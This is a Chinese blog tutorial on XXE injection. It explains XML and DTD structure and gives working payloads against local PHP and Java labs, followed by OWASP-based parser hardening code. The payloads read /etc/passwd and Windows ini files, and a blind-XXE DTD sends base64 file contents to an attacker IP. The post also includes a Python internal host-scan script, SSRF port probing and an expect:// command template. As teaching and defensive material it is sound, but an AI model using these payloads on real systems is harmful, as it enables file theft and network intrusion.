XXE漏洞学习
2022-03-21 17:26:12 # web漏洞

XXE基础

XXE概述

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

XML基础

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>  //XML声明
<!DOCTYPE note [ //文档类型定义
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note> //文档元素
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

DTD声明

内部声明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

外部声明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

--------------------------------------------------------------------
#http://127.0.0.1/note.dtd的内容为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体

构成DTD的叫做DTD实体,包括内部实体和外部实体。

内部和外部实体中,又有一般实体和参数实体

  • 一般实体: 引用方式:&实体名;
  • 参数实体: 引用方式:%实体名;

注意参数实体只能在DTD中申明,DTD中引用;

1
2
3
4
5
6
7
8
<!DOCTYPE message [
<!ENTITY normal "hello"> <!-- 内部一般实体 -->
<!ENTITY % normal2 "hello"> <!-- 内部参数实体 -->
<!ENTITY normal3 SYSTEM "http://xml.org/hhh.dtd"> <!-- 外部一般实体 -->
<!ENTITY % normal4 SYSTEM "file:///1234.dtd"> <!-- 外部参数实体 -->
%normal4; <!-- 引用参数实体 -->
]>
<message>&normal;</message> <!-- 引用一般实体 -->

参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML实体编码,否则会出现解析错误。

1
2
3
4
<!DOCTYPE test [
<!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
<message>&files;</message>

XXE原理

XXE即XML外部实体注入 。和sql注入一样,进行xml修改成恶意代码后,xml解析器解析了恶意代码造成XXE。

利用方式

方式一: 直接通过DTD外部实体声明

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>

方式二:通过DTD文档引入外部DTD文档中的外部实体声明

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "http://ip/eval.dtd">
<hhh>&f;<hhh>
#DTD文件内容:
<!ENTITY f SYSTEM "file:///etc/passwd">

方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "http://ip/eval.dtd">
]>
<hhh>&f;<hhh>
#Quan.dtd的外部实体声明内容:
<!ENTITY f SYSTEM "file:///etc/passwd">

XXE的分类

XXE分成了三类,正常回显XXE、报错XXE和Blind XXE

一、有回显XXE

示例:1.php

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

结果:

image-20220321181626389

有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误,这时候就可以利用CDATA或者base64编码来绕过。

1.可以使用base64编码

payload

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/system.ini">
]>
<test>&file;</test>

结果:

image-20220321181332580

2.使用CDATA

CDATA的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

#evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

结果

image-20220321185953632

二、无回显XXE

修改1.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://IP:9999?p=%file;'>">

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://IP/evil.dtd">
%dtd;%int;%send; ]>

结果

image-20220321190948041

image-20220321191019504

XXE的挖掘思路

检测xml是否被解析

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY dog "this is dog">
]>
<root>&dog;</root>

检测是否支持外部实体

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % dog SYSTEM "http://ip:9999">
%dog;
]>

xxe-lab-php

有回显XXE利用

在登陆点抓一个包

image-20220321204955573

payload

1
2
3
4
5
6
<?xml version="1.0"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&goodies;</username>
<password>yang</password></user>

结果:

image-20220321205152237

注意点必须要把获取的数据写入username标签,因为这里的输出是username标签的

无回显XXE利用

注释echo

image-20220321205641054

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://192.168.31.144/test.dtd">
%dtd;%int;%send; ]>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.144:9999?p=%file;'>">

结果:

image-20220321210104852

内网存活主机扫描

可以读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,这样我们就能拿到网段了

利用python2脚本探测存活主机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
import requests
import base64

def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://192.168.12.130/xxe-lab/php_xxe/doLogin.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2]
print coded_string
# print base64.b64decode(coded_string)
for i in range(129, 135):
try:
i = str(i)
#此处填写网段
ip = '192.168.12.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

结果,可以看到130主机在线

image-20220321211043569

HTTP端口扫描

payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "http://192.168.202.130:80">
]>
<reset><login>&test;</login><secret>cc</secret></reset>

结果

image-20220321211348341

后面放到Intruder中爆破即可,根据页面长度或响应时间

执行系统命令

payload,前提是要开启expect拓展

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE tets[
<!ENTITY f SYSTEM "expect://执行的命令">
]>
<hhh>&f;<hhh>

xxe-lab-java

搭建好之后,访问

image-20220321213953393

payload

1
2
3
4
5
6
<?xml version="1.0"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&goodies;</username>
<password>CC</password></user>

结果

image-20220321214418897

ssrf-payload

1
2
3
4
5
6
<?xml version="1.0"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<user><username>&xxe;</username>
<password>CC</password></user>

image-20220321214655641

XXE修复

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

使用正确的方法:

代码层防范(PHP)

1
libxml_disable_entity_loader(true);

代码层防范(Python)

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

代码层防范(Java)

使用 XML 库的 Java 应用程序特别容易受到 XXE 的攻击,因为大多数 Java XML 解析器的默认设置是启用 XXE。 要安全地使用这些解析器,您必须在您使用的解析器中显式禁用 XXE。 下面介绍如何在 Java 最常用的 XML 解析器中禁用 XXE。

JAXP DocumentBuilderFactory、SAXParserFactory 和 DOM4J

DocumentBuilderFactory, SAXParserFactoryDOM4J XML解析器可以使用相同的技术进行配置,以保护它们免受 XXE 的侵害。

只有 DocumentBuilderFactory此处提供了示例。JAXP DocumentBuilderFactory setFeature 方法允许开发人员控制启用或禁用哪些特定于实现的 XML 处理器功能。

这些功能既可以在工厂设置,也可以在底层设置 XMLReader setFeature 方法。

DocumentBuilder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
logger.info("ParserConfigurationException was thrown. The feature '" + FEATURE
+ "' is probably not supported by your XML processor.");
...
} catch (SAXException e) {
logger.warning("A DOCTYPE was passed into the XML document");
} catch (IOException e) {
logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
...
}
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

对于语法突出显示的示例代码片段,使用 SAXParserFactory

SAXParserFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;

import org.xml.sax.SAXNotRecognizedException;
import org.xml.sax.SAXNotSupportedException;
import org.xml.sax.XMLReader;
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader reader = saxParser.getXMLReader();
try {
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
} catch (ParserConfigurationException e) {
} catch (SAXNotRecognizedException e) {
} catch (SAXNotSupportedException e) {
} catch ... {
}

StAX 解析器,例如 XMLInputFactory允许设置各种属性和功能。保护 Java XMLInputFactory来自 XXE,请执行以下操作:

xmlInputFactory

1
2
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

Oracle DOM 解析器 ,遵循 Oracle 推荐, 例如:

DOMParser

1
2
3
4
DOMParser domParser = new DOMParser();
domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false);
domParser.setAttribute(DOMParser.DTD_OBJECT, dtdObj);
domParser.setAttribute(DOMParser.ENTITY_EXPANSION_DEPTH, 12);

为了保护一个 javax.xml.transform.TransformerFactory来自 XXE,请执行以下操作:

TransformerFactory

1
2
3
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

为了保护一个 javax.xml.validation.Validator来自 XXE,请执行以下操作:

validator

1
2
3
4
5
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

为了保护一个 javax.xml.validation.SchemaFactory来自 XXE,请执行以下操作:

SchemaFactory

1
2
3
4
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema(Source);

为了保护一个 javax.xml.transform.sax.SAXTransformerFactory来自 XXE,请执行以下操作:

SAXTransformerFactory

1
2
3
4
SAXTransformerFactory sf = SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newXMLFilter(Source);

保护 Java org.xml.sax.XMLReader来自 XXE,请执行以下操作:

XMLReader

1
2
3
4
5
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

保护 Java org.dom4j.io.SAXReader来自 XXE,请执行以下操作:

saxReader

1
2
3
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

保护 Java org.jdom2.input.SAXBuilder来自 XXE,请执行以下操作:

SAXBuilder

1
2
3
4
5
6
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builder.setExpandEntities(false);
Document doc = builder.build(new File(fileName));

对于需要 EntityResolver,您可以通过 来抵消 XML 解析器解析实体的能力:

1
2
3
4
5
6
7
public final class NoOpEntityResolver implements EntityResolver {
public InputSource resolveEntity(String publicId, String systemId) {
return new InputSource(new StringReader(""));
}
}
xmlReader.setEntityResolver(new NoOpEntityResolver());
documentBuilder.setEntityResolver(new NoOpEntityResolver());

或更简单地说:

1
2
3
EntityResolver noop = (publicId, systemId) -> new InputSource(new StringReader(""));
xmlReader.setEntityResolver(noop);
documentBuilder.setEntityResolver(noop);

由于一个 javax.xml.bind.Unmarshaller解析 XML 并且不支持任何禁用 XXE 的标志,必须首先通过可配置的安全解析器解析不受信任的 XML,作为结果生成源对象,并将源对象传递给 Unmarshaller。 例如:

Unmarshaller

1
2
3
4
5
6
7
8
9
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(),
new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);

一种 javax.xml.xpath.XPathExpression无法自行安全配置,因此不可信数据必须先通过另一个安全的 XML 解析器进行解析

XPathExpression

1
2
3
4
5
6
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(
new ByteArrayInputStream(xml.getBytes())) );

java.beans.XMLDecoder

的 readObject() 此类中 方法从根本上是不安全的。

不仅它解析的 XML 受 XXE 约束,而且该方法可用于构造任何 Java 对象,并 执行此处描述的任意代码 。

除了信任或正确验证传递给它的输入之外,没有办法安全地使用这个类。

因此,我们强烈建议完全避免使用此类,并使用本备忘单中其他地方所述的安全或正确配置的 XML 解析器替换它。

参考

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

https://blog.csdn.net/weixin_45382656/article/details/118565084?spm=1001.2014.3001.5501